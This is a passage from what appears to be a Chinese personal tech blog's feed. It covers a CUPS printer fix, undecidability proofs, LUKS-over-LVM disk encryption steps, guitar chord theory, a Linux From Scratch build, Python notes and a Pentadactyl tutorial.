    <a href="http://standards.freedesktop.org/desktop-entry-spec/latest/index.html">http://standards.freedesktop.org/desktop-entry-spec/latest/index.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>cnijfilter-ip2700series depends on libpng12</title>
        <link href="http://blog.cykerway.com/post/298" />
        <id>http://blog.cykerway.com/post/298</id>
        <updated>2011-02-27T18:30:36Z</updated>
        <content type="html"><![CDATA[<p>今天发现打印机(Canon-IP2700)不能用了，现象是发送文档到打印队列后打印机的状态灯闪两下就灭了。</p>

<p>于是修改了一下/etc/cups/cupsd.conf，将LogLevel改成debug。然后随便lp个什么文档。检查/var/log/cups/error_log，发现有一行：</p>

<pre class="brush:bash">
D [27/Feb/2011:18:17:13 +0800] [Job 12] /usr/local/bin/cifip2700: error while loading shared libraries: libpng12.so.0: cannot open shared object file: No such file or directory
</pre>

<p>大囧。安了libpng12之后就好了。</p>

<p>然后忽然想起寒假时候有个人给我发Email说我维护的AUR上的那个包缺少个depedency。上去一看果然是libpng12。我当时傻乎乎地把libpng当成dependency写上去了。好吧现在改过来了。</p>

<p>版本这种问题什么时候是个头……</p>]]></content>
    </entry>
    <entry>
        <title>undecidability of mutual exclusion and progress check</title>
        <link href="http://blog.cykerway.com/post/297" />
        <id>http://blog.cykerway.com/post/297</id>
        <updated>2011-02-25T13:45:28Z</updated>
        <content type="html"><![CDATA[<p>证明某个分布式算法满足mutual exclusion/progress。这件事有没有一个通用的算法可以做呢？</p>

<p>不幸地，停机问题$(HALT_{TM})$可以归约到$PROGRESS$和$\overline{MUTUAL\;EXCLUSION}$。</p>

<ul>
    <li>
        <p>$HALT_{TM} \leq_m PROGRESS$</p>
        <p>设HALT_{TM}中的算法为A，在A后面加上critical section构成A&apos;。输出A&apos;。</p>
        <p>若A不停机，则critical section永远不会被执行，不满足progress。</p>
        <p>若A停机，则critical section会被执行，满足progress。</p>
    </li>
    <li>
        <p>$HALT_{TM} \leq_m \overline{MUTUAL\;EXCLUSION}$</p>
        <p>设$HALT_{TM}$中的算法为A，在A后面加上critical section构成A&apos;。输出A&apos;。</p>
        <p>若A停机，则不妨假设两个进程在执行A后sleep然后在很短时间内分别先后醒来进入critical section（两个进程之间没有通信，互不影响），从而不满足mutual exclusion。</p>
        <p>若A不停机，则没有进程可以进入critical section，显然满足mutual exclusion。</p>
    </li>
</ul>

<p>所以$PROGRESS$和$\overline{MUTUAL\;EXCLUSION}$都是undecidable，显然$MUTUAL\;EXCLUSION$也是undecidable。</p>

<p>还有最后一线希望，如果能证明$PROGRESS\;AND\;MUTUAL\;EXCLUSION(PAME)$是decidable也好。可是$HALT_{TM}$也可以归约到$PAME$。</p>

<ul>
    <li>
        <p>$HALT_{TM} \leq_m PAME$</p>
        <p>设$HALT_{TM}$中的算法为A，在A后面加上Dijkstra&apos;s Mutual Exclusion Algorithm构成A&apos;。输出A&apos;。</p>
        <p>Dijkstra&apos;s Mutual Exclusion Algorithm已经被证明满足mutual exclusion和progress。所以：</p>
        <p>若A停机，则A&apos;仍然满足mutual exclusion和progress，故$A&apos; \in PAME$。</p>
        <p>若A不停机，则A&apos;不满足progress，故$A&apos; \notin PAME$。</p>
    </li>
</ul>

<p>这下彻底没希望了。只能根据不同的分布式算法制定不同的策略了。</p>]]></content>
    </entry>
    <entry>
        <title>differences between [ and [[ in Bash</title>
        <link href="http://blog.cykerway.com/post/296" />
        <id>http://blog.cykerway.com/post/296</id>
        <updated>2011-02-23T19:35:50Z</updated>
        <content type="html"><![CDATA[<p><a href="http://mywiki.wooledge.org/BashFAQ/031">http://mywiki.wooledge.org/BashFAQ/031</a></p>]]></content>
    </entry>
    <entry>
        <title>LUKS over LVM over loopback device</title>
        <link href="http://blog.cykerway.com/post/295" />
        <id>http://blog.cykerway.com/post/295</id>
        <updated>2011-02-18T00:52:37Z</updated>
        <content type="html"><![CDATA[<p>最近想出了一种基于loopback device的加密文件的策略，用到了LVM，从而可以方便地调整要加密的内容的大小。</p>

<ul>

<li>首先创建磁盘镜像：

<pre class="brush:bash">
dd if=/dev/zero of=disk0.img bs=1M count=1024
dd if=/dev/zero of=disk1.img bs=1M count=1024
</pre></li>

<li>映射到loopback device：

<pre class="brush:bash">
losetup /dev/loop0 disk0.img
losetup /dev/loop1 disk1.img
</pre></li>

<li>建立pv：

<pre class="brush:bash">
pvcreate /dev/loop0
pvcreate /dev/loop1
</pre></li>

<li>建立vg:

<pre class="brush:bash">
vgcreate vgdisk /dev/loop0 /dev/loop1
</pre></li>

<li>建立lv:

<pre class="brush:bash">
lvcreate -l [Total PE] -n lvdisk vgdisk （Total PE用vgdisplay查看）
</pre></li>

<li>LUKS加密：

<pre class="brush:bash">
cryptsetup luksFormat /dev/vgdisk/lvdisk
cryptsetup luksOpen /dev/vgdisk/lvdisk luksdisk
</pre></li>

<li>格式化：

<pre class="brush:bash">
mkfs.ext4 /dev/mapper/luksdisk
</pre></li>

<li>挂载：

<pre class="brush:bash">
mount -t ext4 /dev/mapper/luksdisk /mnt
</pre></li>

</ul>

<p>于是可以在/mnt下进行操作。操作完毕，可以按如下方法退出：</p>

<ul>

<li>卸载：

<pre class="brush:bash">
umount /mnt
</pre></li>

<li>关闭LUKS加密：

<pre class="brush:bash">
cryptsetup luksClose luksdisk
</pre></li>

<li>deactivate lv：

<pre class="brush:bash">
lvchange -an /dev/vgdisk/lvdisk
</pre></li>

<li>如果有同一个vg下的多个lv需要deactivate，可以用vgchange：

<pre class="brush:bash">
vgchange -an vgdisk
</pre></li>

<li>解除loopback device的映射：

<pre class="brush:bash">
losetup -d /dev/loop0
losetup -d /dev/loop1
</pre></li>

</ul>

<p>这是就可以对disk0.img和disk1.img进行操作了，例如复制到其他计算机上。</p>

<p>既然用到了LVM，就是为了可以方便的修改容量。假使有一天现有的镜像容量不够了，可以加入新镜像（保持/dev/mapper/luksdisk已卸载但LUKS未关闭的状态）：</p>

<ul>
<li>
<pre class="brush:bash">
dd if=/dev/zero of=disk2.img bs=1M count=1024
losetup /dev/loop2 disk2.img
pvcreate /dev/loop2
vgextend vgdisk /dev/loop2
lvresize -l [Total PE] /dev/vgdisk/lvdisk
cryptsetup resize luksdisk
e2fsck -f /dev/mapper/luksdisk
resize2fs /dev/mapper/luksdisk
</pre>
</li>
</ul>

<p>示意图如下（自下而上层级关系）：</p>

<ul>
    <li>ext4 filesystem</li>
    <li>luks(/dev/mapper/luksdisk)</li>
    <li>lv(/dev/vgdisk/lvdisk)</li>
    <li>vg</li>
    <li>pv(/dev/loop0,/dev/loop1)</li>
    <li>disk image(disk0.img,disk1.img)</li>
</ul>]]></content>
    </entry>
    <entry>
        <title>和弦</title>
        <link href="http://blog.cykerway.com/post/294" />
        <id>http://blog.cykerway.com/post/294</id>
        <updated>2011-02-15T00:51:32Z</updated>
        <content type="html"><![CDATA[<p>吉他谱里常常能见到各种和弦记号：C/Cm/C7/Cm7/Cmaj7/C9/C6/Cm9/Cm6/Csus4/Csus2/C7sus4……这些东西都表示什么呢？说来话长。</p>

<p>声音是由物体振动产生的，音高由频率决定。为了保证不同的乐器合奏时遵循相同的音高标准，国际上规定了标准音高为a1=440Hz。这里的a1是钢琴上中央C上方的A音（即小字一组的A），同时也是吉他一弦五品发出的音。</p>

<p>有了这个标准的A音，通过十二平均律就可以产生出其他的音。一个八度就是频率相差两倍的音。将一个八度按照等比级数十二等分，就产生了一个八度内的各个音，如C,#C(bD),D,#D(bE),E,F,#F(bG),G,#G(bA),A,#A(bB),B,C(high)。可以算出后一个音的频率是前一个音的2开12次方约等于1.059倍。每两个音之间相差的叫做一个半音，一个全音等于两个半音。其中C,D,E,F,G,A,B被称为基本音级。C-D/D-E/F-G/G-A/A-B相差一个全音，而E-F/B-C(high)相差一个半音。（每个音的具体音高可参见<a href="http://zh.wikipedia.org/zh/音高">http://zh.wikipedia.org/zh/音高</a>）</p>

<p>定下音高之后就可以看音程了。音程就是两个音的音高距离，包含了两个概念：音级和音数。音级指两音之间包含了几个基本音，用度来表示。音数指两音之间包含的全音个数（半音计为1/2）。</p>

<p>音级的概念比较容易理解，参考基本音级即可。如C-C为一度，C-D为二度，E-G为三度，E-#G也是三度，E-A是四度，E-bA也是四度。咦，#G和bA不是相同的音高吗？是的，但是决定音级的度数的时候只看音名，接下来有更复杂的称呼来区分这些情况。</p>

<p>音数更加简单。只需要在十二平均律中查找相差的全音个数即可。如D-E的音数是1，D-F是1又1/2，F-A是2（注意D-F和F-A都是三度音程但音数不同）。</p>

<p>好了下面来处理一下更复杂的情况。我们在度数前引入如下称呼：大，小，纯，增，减，倍增，倍减。具体含义可以参见<a href="http://zh.wikipedia.org/zh/音程">http://zh.wikipedia.org/zh/音程</a>最下方的表格。</p>

<p>为什么有的叫纯x度，有的叫大/小x度呢？这需要对音程进行分类。一/四/五/八度听起来协和悦耳，所以叫完全协和音程；三/六度稍逊，叫不完全协和音程，二/七度听起来刺耳，所以叫不协和音程。对于完全协和音程，我们在前面冠以“纯”的字样，对于其他音程，冠以“大/小”字样。而“增/减/倍增/倍减”是所有音程都有的。音数相同音级可能不同，如倍增三度=增四度=减五度=倍减六度，前面已经说过了，想不起来查表即可。</p>

<p>可以开始说和弦了。和弦就是声音的组合，可以同时演奏（比如扫弦），也可以分开演奏（比如弹分解和弦）。按照组成方式的不同，和弦有很多种：三和弦，七和弦，九和弦，十一和弦，十三和弦，六和弦，挂留和弦等等。</p>

<p>三和弦是最基本的和弦，由三个音组成，按照从低到高分别成为根音、三音和五音。按照音程的不同，三和弦有4种：</p>

<ul>
    <li>大三和弦：根音到三音为大三度，三音到五音为小三度（根音到五音为纯五度）</li>
    <li>小三和弦：根音到三音为小三度，三音到五音为大三度（根音到五音为纯五度）</li>
    <li>增三和弦：根音到三音为大三度，三音到五音为大三度（根音到五音为增五度）</li>
    <li>减三和弦：根音到三音为小三度，三音到五音为小三度（根音到五音为减五度）</li>
</ul>

<p>常见的三和弦如：C-E-G（大三和弦），C-bE-G（小三和弦），等等。</p>

<p>三和弦上方再加一个七音就构成了七和弦。七和弦有16种：</p>

<ul>
    <li>大小七和弦：根音、三音、五音构成大三和弦，根音到七音为小七度。</li>
    <li>大大七和弦（简称大七和弦）：根音、三音、五音构成大三和弦，根音到七音为大七度。</li>
    <li>大减七和弦：根音、三音、五音构成大三和弦，根音到七音为减七度。</li>
    <li>大增七和弦：根音、三音、五音构成大三和弦，根音到七音为增七度。</li>
    <li>小小七和弦（简称小七和弦）：根音、三音、五音构成小三和弦，根音到七音为小七度。</li>
    <li>小大七和弦：根音、三音、五音构成小三和弦，根音到七音为大七度。</li>
    <li>小增七和弦：根音、三音、五音构成小三和弦，根音到七音为增七度。</li>
    <li>小减七和弦：根音、三音、五音构成小三和弦，根音到七音为减七度。</li>
    <li>减大七和弦：根音、三音、五音构成减三和弦，根音到七音为大七度。</li>
    <li>减小七和弦：根音、三音、五音构成减三和弦，根音到七音为小七度。</li>
    <li>减减七和弦（简称减七和弦）：根音、三音、五音构成减三和弦，根音到七音为减七度。</li>
    <li>减增七和弦：根音、三音、五音构成减三和弦，根音到七音为增七度。</li>
    <li>增大七和弦：根音、三音、五音构成增三和弦，根音到七音为大七度。</li>
    <li>增小七和弦：根音、三音、五音构成增三和弦，根音到七音为小七度。</li>
    <li>增增七和弦（简称增七和弦）：根音、三音、五音构成增三和弦，根音到七音为增七度。</li>
    <li>增减七和弦：根音、三音、五音构成增三和弦，根音到七音为减七度。</li>
</ul>

<p>可以看出七和弦的命名规律为：第一个字表示三和弦的种类，第二个字表示根音到七音的音程关系。当然常用的并没有这么多，如C-E-G-bB（大小七和弦），C-bE-G-bB（小小七和弦）等等。</p>

<p>七和弦上方再加一个九音就构成了九和弦。根据七和弦种类以及七音和九音间的关系可以分为大小九和弦（大小七和弦+大三度），大九和弦（大七和弦+小三度），小九和弦（小七和弦+大三度）等等。依此类推还可以构成十一和弦，十三和弦。</p>

<p>六和弦是三和弦上方加一个六度音，可以分为大六和弦（大三和弦+大二度），小六和弦（小三和弦+大二度）。</p>

<p>挂留和弦是对三和弦中的三音做调整。将大三和弦中的三音升高半音，构成一个纯四度+大二度，叫做挂四和弦。将小三和弦中的三音降低半音，构成一个大二度+纯四度，叫做挂二和弦。挂四和弦和挂二和弦中根音与五音都是纯五度。</p>

<p>现在可以看看吉他谱里那些常见的和弦记号了。开头的字母表示根音（以下都假设为C）。不加数字的表示三和弦，C表示大三和弦，Cm表示小三和弦。加数字的就按照数字决定，如带有7的都表示七和弦。具体地，C7表示大小七和弦，Cm7表示小小七和弦，Cmaj7表示大大七和弦，C9表示大小九和弦，Cm9表示小九和弦，C6表示大六和弦，Cm6表示小六和弦，Csus4表示挂四和弦，Csus2表示挂二和弦，C7sus4表示七挂四和弦……</p>

<p>一些有用的资料：</p>

<ul>
    <li>吉他常用和弦的组成与指法：<a href="http://blog.sina.com.cn/s/blog_606a5f730100e0p9.html">http://blog.sina.com.cn/s/blog_606a5f730100e0p9.html</a>（将大小七和弦称为大七和弦貌似有误）</li>
    <li>吉他和弦是怎样“练”成的：<a href="http://234music.cn/shownews.asp?id=220">http://234music.cn/shownews.asp?id=220</a></li>
    <li>钢琴即兴伴奏和弦公式简单整理：<a href="http://blog.bandao.cn/archive/9262/blogs-665632.aspx">http://blog.bandao.cn/archive/9262/blogs-665632.aspx</a></li>
    <li>第十八讲:吉他和弦总论<a href="http://www.minyaojita.cn/article/xueyuan/myjc/info-6527.html">http://www.minyaojita.cn/article/xueyuan/myjc/info-6527.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>LFS</title>
        <link href="http://blog.cykerway.com/post/293" />
        <id>http://blog.cykerway.com/post/293</id>
        <updated>2011-02-14T01:48:20Z</updated>
        <content type="html"><![CDATA[<p>断断续续折腾了三天，终于在情人节前夜把LFS折腾出来了。有种做JOS的感觉，虽然性质不大相同。</p>

<p>新系统跑起来就是快，开机10秒不到，新安装的发行版也就这个速度吧。啥时候能做一个1秒启动的就好了。</p>

<p>整个过程还是挺有趣的。大体上就是先在host上做一个host-independent/self-contained/self-hosted的toolchain，然后chroot到LFS目录，再用这个toolchain做出target上的所有东西。tools那个软链接很巧妙，使得chroot内外可以以相同的路径操作。制作toolchain备份的ld-new也很极品，在第二次调整toolchain时覆盖回来就OK了。在target上的bash使用+h选项禁用了hash，在PATH环境变量中把target的路径放在tools前面，从而使得新生成的工具可以立刻被使用。</p>

<p>最重要的三个软件包是binutils,gcc和glibc。binutils包含了一系列二进制工具，如as,ld,objdump，用来管理目标文件。gcc用来编译，并和binutils紧密集成。glibc是GNU的C runtime library。每次build的时候基本是一个glibc-&gt;binutils-&gt;gcc的顺序（第一次是个例外，因为我们想确保整个工作都是用自己的工具完成的，所以先编译了binutils和gcc）。每次glibc建造完成后就调整ld的search path和gcc的specs，使得接下来建造出的程序可以链接到新的glibc。当然其实一共只有两次，一次是host到temp toolchain，另一次是temp toolchain到target。</p>

<p>整体过程是binutils-&gt;gcc-&gt;glibc-&gt;[adjust toolchain(host-&gt;toolchain)]-&gt;binutils-&gt;gcc-&gt;[chroot into target]-&gt;glibc-&gt;[adjust toolchain(toolchain-&gt;target)]-&gt;binutils-&gt;gcc-&gt;all the rest。</p>

<p>遇到的问题么，也有一些。比如像解压缩用tar -jxvf还是tar -zxvf这种（应该写个小脚本的）……还有每个软件包的configure都不相同，还有各自不同的bug和patch，如果不是LFS的作者罗列出来，估计这就是近乎不可解的问题了。不过最严重的问题是，一旦退出了特定的环境，怎样可以保证返回到相同的环境下。Chapter 6开始的步骤要好好看，从chroot退出来再进去的时候不要忘了挂载那些需要挂载的东西。我一度白痴到纳闷target的/dev为什么没有设备文件……</p>

<p>最后启动的时候其实也不一定要写MBR，写PBR就够了，然后在host的grub里chainloader +1一下就OK了。</p>

<p>然后就可以reboot了，跳过两个grub过后就是我们可爱的小系统:)</p>

<p>有两个暂时没有解决的问题是：</p>

<ol>
    <li>在LFS上怎么对付那些没有make uninstall的Makefile</li>
    <li>有没有什么方法在host上直接挂载VirtualBox的.vdi磁盘镜像</li>
</ol>]]></content>
    </entry>
    <entry>
        <title>LUKS</title>
        <link href="http://blog.cykerway.com/post/292" />
        <id>http://blog.cykerway.com/post/292</id>
        <updated>2011-02-11T01:07:25Z</updated>
        <content type="html"><![CDATA[<p>LUKS可以用于实现全盘和分区的加密。以下假设待加密分区为/dev/sda3。</p>

<p>建立LUKS加密分区：</p>

<pre class="brush:bash">
cryptsetup luksFormat /dev/sda3
</pre>

<p>按提示输入密码即可完成。用luksDump可以查看已建立的分区信息：</p>

<pre class="brush:bash">
cryptsetup luksDump /dev/sda3
</pre>

<p>可以设置多个密钥：</p>

<pre class="brush:bash">
cryptsetup luksAddKey /dev/sda3
cryptsetup luksRemoveKey /dev/sda3
</pre>

<p>开启LUKS加密分区：</p>

<pre class="brush:bash">
cryptsetup luksOpen /dev/sda3 mydisk
</pre>

<p>mydisk是分区的别名，可以修改。此时应该可以查看到/dev/mapper/mydisk设备文件。</p>

<p>这时就可以将/dev/mapper/mydisk当作其他磁盘设备文件一样操作了。例如格式化/挂载/卸载：</p>

<pre class="brush:bash">
mkfs.ext4 /dev/mapper/mydisk
mount /dev/mapper/mydisk /mnt
umount /dev/mapper/mydisk
</pre>

<p>关闭LUKS加密分区：</p>

<pre class="brush:bash">
cryptsetup luksClose /dev/mapper/mydisk
</pre>]]></content>
    </entry>
    <entry>
        <title>notes for The Python Tutorial</title>
        <link href="http://blog.cykerway.com/post/291" />
        <id>http://blog.cykerway.com/post/291</id>
        <updated>2011-02-07T17:13:01Z</updated>
        <content type="html"><![CDATA[<h2>Chapter 4. More Control Flow Tools</h2>

<ol>
    <li>range()函数返回的并不是一个list，只是一个iterable的对象，这样节省空间。要生成list，用list(range(5))。</li>
    <li>默认实参只会被eval一次，当默认实参是mutable object的时候结果可能与预想的不同。</li>
    <li>参数列表中必须positional argument在前，keyword argument在后。</li>
    <li>参数列表中*name可以接受一个tuple，**name可以接受一个dict。若同时出现，*name必须在**name之前。</li>
    <li>*name之后只能有keyword argument。</li>
</ol>

<h2>Chapter 5. Data Structures</h2>

<ol>
    <li>实现queue时不应该用list，应该用collections.deque，有append()和popleft()方法。</li>
    <li>创建empty set时要用set()而不是{}，后者会生成一个empty dict。</li>
    <li>set不含重复元素。</li>
    <li>dict的keys不含重复元素。</li>
    <li>dict的key必须是immutable。</li>
    <li>dict的创建方式最少有四种：:,分隔，list of tuples，comprehension，keyword arguments。</li>
</ol>

<h2>Chapter 6. Modules</h2>

<ol>
    <li>__init__.py中可以定义__all__，是一个list，包含该package下的subpackage/module name。</li>
</ol>

<h2>Chapter 7. Input and Output</h2>

<ol>
    <li>常用字符串函数：str(),repr(),ljust(),rjust(),center(),zfill()</li>
    <li>str.format()可以传一个dict，也可以用**做unpack之后再传。</li>
    <li>使用pickle时要用b模式打开文件。</li>
</ol>

<h2>Chapter 8. Errors and Exceptions</h2>

<ol>
    <li>try/except[...as...]/else/finally结构</li>
    <li>except中可以用raise重新抛出异常</li>
    <li>匹配异常时，第一个compatible的clause被选中，compatible是指：精确匹配，clause是抛出的异常的基类，或clause是含有抛出的异常的tuple。</li>
</ol>

<h2>Chapter 9. Classes</h2>

<ol>
    <li>类没有private成员，但按照惯例以下划线开头的成员被视之为private的。</li>
</ol>]]></content>
    </entry>
    <entry>
        <title>Workrave是个好软件</title>
        <link href="http://blog.cykerway.com/post/290" />
        <id>http://blog.cykerway.com/post/290</id>
        <updated>2011-02-07T09:25:55Z</updated>
        <content type="html"><![CDATA[<p>去年以来差不多只有腰痛，现在连颈椎也不大好了，估计是电脑用得太多。</p>

<p>所以就有了Workrave这种提醒软件。起初我不大相信这种东西，觉得自己知道时间，到时候下来了就好嘛。嗯，完全不是那么回事。无数次经历告诉我一用起电脑来就木有时间的概念了。</p>

<p>于是乎<a href="http://www.workrave.org/">Workrave</a>这种软件还是有必要的。它的作用就是在时间到了的时候提醒你：嗨，SB，时间到了，不想死快点下来。</p>

<p>有三种提醒：微间隙(Micro break)，休息间隙(Rest break)，每日时间上限(Daily limit)。挺不错的。</p>

<p>再者，笔记本键盘真是伤身，尤其是高度不合适的时候，整个后背的造型真是不自然。回去之后要淘个正常的键盘用。</p>

<p>说起键盘，一直向往那种可以套在手上的分掌键盘。有了这个，就不用坐着用电脑了。怎么不见有卖……</p>]]></content>
    </entry>
    <entry>
        <title>Pentadactyl</title>
        <link href="http://blog.cykerway.com/post/289" />
        <id>http://blog.cykerway.com/post/289</id>
        <updated>2011-02-05T22:37:59Z</updated>
        <content type="html"><![CDATA[<p>鼓捣了两个小时Pentadactyl，真是个叫人语无伦次的东西，硬是把我从Chromium又拉回到Firefox了。</p>

<p>Pentadactyl是源于Vimperator的一个Firefox插件，但是装上这个插件之后Firefox就不叫Firefox了叫Vim……</p>

<p>这个插件有一个缺点是浪费鼠标。</p>

<h2>前奏</h2>

<p>装了这个插件后启动Firefox时界面可能会有很大变化，熟悉的各种XX栏可能都会消失。恢复的办法是</p>

<pre class="brush:bash">
set go+=mBT
</pre>

<p>这样子可能会熟悉一些。不过还是建议用</p>

<pre class="brush:bash">
set go-=mBT
</pre>

<p>让它们消失吧。一旦你习惯了Pentadactyl你不会想看见它们的。</p>

<p>下文中&lt;C-x&gt;表示Ctrl+x，&lt;A-x&gt;表示Alt+x，&lt;S-x&gt;表示Shift+x，&lt;M-x&gt;表示Meta+x。</p>

<p>使用这个插件需要一定的Vim基础。最起码的，要知道模式的概念以及甩Esc可以回到Normal模式。还要知道:help是个有用的命令。</p>

<h2>第一课 导航</h2>

<p>以下是有关导航的基本命令，有了这些就可以随心所欲浏览页面了。</p>

<h3>页面导航</h3>

<ul>
    <li>h,j,k,l:四大金刚</li>
    <li>&lt;C-d&gt;:下半页</li>
    <li>&lt;C-u&gt;:上半页</li>
    <li>&lt;C-f&gt;/&lt;Space&gt;:下一页</li>
    <li>&lt;C-b&gt;/&lt;S-Space&gt;:上一页</li>
    <li>gg:页首</li>
    <li>G:页尾</li>
    <li>[num]gg/[num]G/[num]%:跳至页面num%处</li>
</ul>

<h3>标签导航</h3>

<ul>
    <li>&lt;C-n&gt;/gt:下一个标签</li>
    <li>&lt;C-p&gt;/gT:上一个标签</li>
    <li>g0/g^:第一个标签</li>
    <li>g$:最后一个标签</li>
    <li>&lt;C-6&gt;:在当前标签和最近浏览的非当前标签之间切换</li>
</ul>

<h3>历史记录导航</h3>

<ul>
    <li>H/&lt;C-o&gt;:在历史记录中后退</li>
    <li>L/&lt;C-i&gt;:在历史记录中前进</li>
</ul>

<h2>第二课 网页的打开与关闭</h2>

<p>要打开一个网页需要进入Command-line模式，用过Vim的一定不会陌生，就是按下冒号:后的那个模式。在Command-line模式下有如下基本命令：</p>

<ul>
    <li>o/O:在当前标签打开</li>
    <li>t/T:在新标签打开</li>
    <li>w/W:在新窗口打开</li>
</ul>

<p>其中小写与大写的区别是，小写会直接执行，大写会将当前URL作为参数显示出来，可以修改后回车确认再执行。</p>

<p>要关闭一个标签，在Normal模式下：</p>

<ul>
    <li>d/D:关闭当前标签</li>
</ul>

<p>区别是，用d关闭后选择右边的标签，用D关闭后选择左边的标签。</p>

<p>还有一些常用的命令：</p>

<ul>
    <li>u:打开最近关闭的标签</li>
    <li>&lt;C-c&gt;:停止载入</li>
    <li>r/R:重新载入当前页面（R无视cache）</li>
    <li>gh:回主页</li>
    <li>gu:打开上级目录</li>
    <li>gU:打开根目录</li>
</ul>

<p>要退出Firefox怎么办呢？有两种方法：</p>

<ul>
    <li>ZQ:退出Firefox</li>
    <li>ZZ:保存已打开的页面并退出Firefox</li>
</ul>

<h2>第三课 页面控制</h2>

<ul>
    <li>&lt;C-g&gt;:查看页面基本信息</li>
    <li>g&lt;C-g&gt;:查看页面详细信息</li>
    <li>gf:在页面和其源代码之间切换</li>
    <li>gi:定位到最近输入的文本框。如果没有最近输入的文本框，则定位到第一个文本框</li>
    <li>zi/+/zm:放大页面</li>
    <li>zo/-/zr:缩小页面</li>
    <li>zz:恢复页面至初始大小</li>
</ul>

<p>区别是，zm和zr更狠。</p>

<ul>
    <li>y:复制当前URL到剪贴板</li>
    <li>p/P:打开剪贴板中的URL（p=当前标签，P=新标签）</li>
</ul>

<h2>第四课 页面内容查找</h2>

<p>和Vim中基本相同，也是用/和?</p>

<ul>
    <li>/:向前查找</li>
    <li>?:向后查找</li>
    <li>n:查找下一个</li>
    <li>N:查找上一个</li>
    <li>*:向前查找当前光标下的单词</li>
    <li>#:向后查找当前光标下的单词</li>
</ul>

<h2>第五课 页面导航进阶</h2>

<p>现在我们来看如何打开网页中的链接。这需要进入Pentadactyl的Hint模式。有两种方法可以使用：</p>

<ul>
    <li>f/F:进入QuickHint模式（f=当前标签，F=新标签）</li>
    <li>;{mode}:进入extended hint模式（不同的{mode}会导致不同的结果）</li>
</ul>

<p>最简单的，当前页面里有个链接，按下f键，链接上会出现数字，输入那个数字，就跳到那个链接去了。如果按下的是F键，则会在新标签中打开那个链接。如果按下的是;键，则还需要按下{mode}，具体请参见help。</p>

<p>在学会了爬链接之后我们再熟悉一下标签之间的跳转（确切地说应该是buffer之间的跳转）：</p>

<ul>
    <li>B:显示所有buffer</li>
    <li>b:跳转到指定buffer</li>
</ul>

<p>按下B键后可以看到所有的buffer，标记%的那个就是当前buffer，标记#的那个是alternate buffer。按下b键后会让你选择，你可以用数字或关键字跳转到指定buffer，也可以输入#跳转到alternate buffer。</p>

<p>第六课 书签</p>

<p>Pentadactyl支持Firefox的标准书签(Bookmarks)和自身特有的Quickmarks。</p>

<p>对Bookmarks的操作：</p>

<ul>
    <li>a:添加书签</li>
    <li>A:添加/删除(Toggle)当前页面为书签</li>
    <li>bmarks [url]:列出所有书签。若url不为空，列出（关键字）匹配url的书签</li>
    <li>delbm [url]:删除（关键字）匹配url的书签。若url为空，删除当前页面为书签</li>
</ul>

<p>对Quickmarks的操作：</p>

<ul>
    <li>M{a-zA-Z0-9}:添加当前页面到Quickmark</li>
    <li>go{a-zA-Z0-9}:在当前标签页跳转到指定的Quickmark</li>
    <li>go{a-zA-Z0-9}:在新标签页跳转到指定的Quickmark</li>
    <li>qmarks [arg]:列出所有Quickmarks。若arg不为空，列出（关键字）匹配arg的Quickmarks</li>
    <li>delqm {arg}:删除（关键字）匹配arg的Quickmarks</li>
</ul>

<h2>第七课 自定义键位映射</h2>

<p>不爽的人各有各的不爽，不能自定义的工具不是好工具，是吧。</p>

<p>定义键位映射需要在Command-line模式下进行，需要的命令有：</p>

<ul>
    <li>map {lhs} {rhs}:定义键位映射</li>
    <li>noremap {lhs} {rhs}:以-builtin方式定义键位映射</li>
    <li>unmap {lhs}:取消键位映射</li>
    <li>mapclear:清除键位映射</li>
</ul>

<p>举个例子吧。J和K两个键位闲着也是闲着，不如用它们来翻页。那我就可以用</p>

<pre class="brush:bash">
:map J &lt;C-d&gt;
:map K &lt;C-u&gt;
</pre>

<p>来定义两个映射。这样会比较保护小指一点吧。那么为什么需要noremap这个东西呢？看下面这个例子：</p>

<pre class="brush:bash">
:map d D
:map D d
</pre>

<p>这个会怎么样呢？会让Firefox死翘翘呀！你按下d，它变成D，又变成d，又变成D……就死翘翘啦！正确的做法是：</p>

<pre class="brush:bash">
:noremap d D
:noremap D d
</pre>

<p>这样子以-builtin方式定义，按下d，它变成D后就不再管其他的映射了，就不会出现死循环了。</p>

<p>Pentadactyl更强大的地方在于可以对不同模式进行不同的键位设定哦。Pentadactyl有如下几种主要的模式：Normal(n)，Visual(v)，Insert(i)，TextEdit(t)，Command-line(c)。其实上面的四个命令都是针对Normal和Visual模式的。要想定义其他模式下的键位映射，可以用如下格式的命令：</p>

<ul>
    <li>[n|v|i|t|c]map:（同上）</li>
    <li>[n|v|i|t|c]noremap:（同上）</li>
    <li>[n|v|i|t|c]unmap:（同上）</li>
    <li>[n|v|i|t|c]mapclear:（同上）</li>
</ul>

<p>功能都是一样的，所以就不说了。</p>

<h2>第八课 保存设定</h2>

<p>哎呀你不是已经退出了吧，退出的话刚才自定义的那些设定就都没有了啦！在退出之前要快快保存才是。保存的命令很简单：</p>

<ul>
    <li>mkp[!]:保存设定到mkpentadactylrc（!表示强制执行）</li>
</ul>

<p>这个文件一般是$HOME/.mkpentadactylrc。这样子自己的设定可以统统保存和备份，万一到新机器上直接copy过来用就是了。</p>

<h2>第九课 打开Firefox的对话框</h2>

<p>到这里估计你已经习惯了Pentadactyl吧。不过有时候还是需要和Firefox打交道，比如设置个代理什么的。这时候有一个Command-line模式下的命令：</p>

<ul>
    <li>dia:打开对话框</li>
</ul>

<p>输入:dia {name}就可以打开指定的对话框了。对于常用的对话框，还有更简单的命令，例如pref，addons等等。</p>

<p>到这里你应该发现很多命令都可以用Tab轮询吧……</p>

<h2>第十课 实用技巧</h2>

<p>写到这里主要内容就算是完成了。最后介绍一点使用技巧，因人而异，也许你会用的上。</p>

<ul>
    <li><p>首先是gi的使用。这真的是个非常有用的命令，尤其是在搜索引擎上。你可以多按ESC使得页面停留在Normal模式下。当需要输入文字时按gi，就会自动定位到文本框了。</p></li>

    <li><p>用&lt;C-n&gt;/&lt;C-p&gt;翻页是一个比较好的选择。但是在Insert模式下（比如在文本框中输入文字的时候）这两个键位没有被定义。所以按&lt;C-n&gt;的时候会打开一个新窗口，太糟糕了。解决一下：</p>

    <pre class="brush:bash">
    :imap &lt;C-n&gt; &lt;Esc&gt;:tabnext&lt;CR&gt;
    :imap &lt;C-p&gt; &lt;Esc&gt;:tabprev&lt;CR&gt;
    </pre>
    </li>

    <li><p>想要快速搜索一个单词？只要在Firefox中设置好默认搜索引擎，按o键再输入那个单词就可以了。如果那个单词已经在剪贴板中，直接按p键更快。</p></li>

